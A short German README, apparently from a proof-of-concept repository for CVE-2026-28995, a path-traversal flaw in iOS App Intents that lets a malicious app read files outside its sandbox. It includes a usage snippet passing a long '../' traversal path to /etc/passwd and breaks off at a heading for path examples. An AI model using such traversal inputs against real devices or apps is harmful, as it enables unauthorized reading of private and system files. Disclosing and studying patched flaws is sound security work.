CVE-2026-28995

Proof of Concept für CVE-2026-28995 — Path-Traversal-Schwachstelle in App Intents auf iOS 26.4.2 und darunter.

Beschreibung

Diese Schwachstelle ermöglicht es einer bösartigen App, beliebige Dateien außerhalb ihres Sandboxes über App Intents zu lesen. Die Ursache ist eine unzureichende Pfadvalidierung im App-Intents-Framework von Apple.

Betroffene Versionen: iOS 26.4.2 und darunter
Behoben in: iOS 26.5 (11. Mai 2026)

Verwendung

1. Funktion readCve(path: String) -> String

let intent = CVE_2026_28995()
let content = intent.readCve(path: "../../../../../../../../../../../../../etc/passwd")
print(content)

2. Pfadbeispiele